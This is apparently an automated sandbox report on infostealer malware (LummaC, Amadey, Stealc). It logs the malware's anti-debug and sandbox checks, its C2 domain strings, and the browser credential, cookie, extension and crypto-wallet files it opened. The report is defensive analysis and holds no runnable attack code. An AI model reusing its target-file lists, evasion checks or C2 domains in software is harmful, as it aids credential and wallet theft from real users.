Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe

Code function: 5_2_048B0764 rdtsc

5_2_048B0764

Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Code function: 5_2_00A7652B mov eax, dword ptr fs:[00000030h]	5_2_00A7652B
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Code function: 5_2_00A7A302 mov eax, dword ptr fs:[00000030h]	5_2_00A7A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002CA302 mov eax, dword ptr fs:[00000030h]	6_2_002CA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002C652B mov eax, dword ptr fs:[00000030h]	6_2_002C652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_002CA302 mov eax, dword ptr fs:[00000030h]	7_2_002CA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_002C652B mov eax, dword ptr fs:[00000030h]	7_2_002C652B

Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: V4H7WRUUSV81II1QF.exe PID: 3836, type: MEMORYSTR

LummaC encrypted strings found

Source: mDuCbT8LnH.exe, 00000000.00000003.2084891957.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: mDuCbT8LnH.exe, 00000000.00000003.2084891957.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: mDuCbT8LnH.exe, 00000000.00000003.2084891957.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: mDuCbT8LnH.exe, 00000000.00000003.2084891957.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: mDuCbT8LnH.exe, 00000000.00000003.2084891957.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: mDuCbT8LnH.exe, 00000000.00000003.2084891957.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: mDuCbT8LnH.exe, 00000000.00000003.2084891957.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: mDuCbT8LnH.exe, 00000000.00000003.2084891957.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz
Source: mDuCbT8LnH.exe, 00000000.00000003.2084891957.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mindhandru.buzz

Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe

Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Jump to behavior

Source: V4H7WRUUSV81II1QF.exe, V4H7WRUUSV81II1QF.exe, 00000003.00000002.2463534048.000000000041A000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: bProgram Manager
Source: skotes.exe, skotes.exe, 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 8Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 7_2_002ADD91 cpuid

7_2_002ADD91

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe

Code function: 5_2_00A5CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

5_2_00A5CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 7_2_002965E0 LookupAccountNameA,

7_2_002965E0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 7_2_002D2517 GetTimeZoneInformation,

7_2_002D2517

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: mDuCbT8LnH.exe, 00000000.00000003.2248056604.0000000005656000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: s%\Windows Defender\MsMpeng.exe
Source: mDuCbT8LnH.exe, 00000000.00000003.2248056604.0000000005656000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2388888878.0000000005649000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2230769434.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2230821865.0000000000E62000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2389223241.0000000005652000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadey

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 7.2.skotes.exe.290000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.40KDYYZHGE3JBLN65FUJY4PQI.exe.a40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.290000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2624408970.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: mDuCbT8LnH.exe PID: 6204, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2464807100.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2462262257.0000000000011000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: V4H7WRUUSV81II1QF.exe PID: 3836, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: mDuCbT8LnH.exe, 00000000.00000003.2209734665.0000000000E62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: mDuCbT8LnH.exe, 00000000.00000003.2209734665.0000000000E62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: mDuCbT8LnH.exe	String found in binary or memory: "ez":"Jaxx Liberty"},{"en":"fihkakfobkmkjojpchpfgcmhfjnmnfpi","ez":"BitApp"}\|8
Source: mDuCbT8LnH.exe, 00000000.00000003.2209734665.0000000000E62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: mDuCbT8LnH.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: mDuCbT8LnH.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: mDuCbT8LnH.exe, 00000000.00000003.2209734665.0000000000E62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: mDuCbT8LnH.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: mDuCbT8LnH.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
